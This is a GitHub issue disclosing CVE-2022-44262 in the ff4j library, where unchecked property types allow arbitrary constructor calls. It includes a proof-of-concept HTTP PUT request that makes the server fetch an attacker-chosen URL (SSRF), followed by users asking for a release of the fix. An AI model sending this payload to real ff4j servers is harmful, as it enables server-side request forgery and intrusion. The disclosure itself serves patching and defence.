Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-44262 #624

Closed
flowingair opened this issue Nov 30, 2022 · 4 comments · Fixed by #625
Closed

CVE-2022-44262 #624

flowingair opened this issue Nov 30, 2022 · 4 comments · Fixed by #625

Comments

@flowingair
Copy link

ff4j can be use to call any constructors in the project or jvm.
it would raise an error after constructor call and give an error in response.

File: https://github.com/ff4j/ff4j/blob/master/ff4j-core/src/main/java/org/ff4j/property/util/PropertyFactory.java
Function: public static Property<?> createProperty(String pName, String pType, String pValue, String desc, Set < String > fixedValues)
Line:163 and 164

proof of concept

run an envirement

git clone https://github.com/ff4j/ff4j-samples.git
cd spring-boot-2x/ff4j-sample-springboot2x
mvn spring-boot:run

send the request and trigger ssrf

PUT /api/ff4j/propertyStore/properties/test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
accept: application/json
Content-Length: 111

{ "name": "test", "description": null, "type": "org.springframework.core.io.support.ResourcePropertySource", "value": "http://example/index.html"}

the url(http://example/index.html) will receive a request from the server.

@njimenezotto
Copy link

Hello, thanks for the fix.
Do you know when it will be released?

@honsq90
Copy link
Contributor

honsq90 commented Dec 18, 2022

hi @clun, just checking when the release will be made?

@vloo
Copy link

vloo commented Dec 20, 2022

It's great that the problem is solved.
When do you plan to release a new version?

@hookluk
Copy link

hookluk commented Dec 20, 2022

@clun According to the CVSS score of 9.8, it would be pls very welcome if it will be released soon. May I ask you pls for help to focus on the release?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants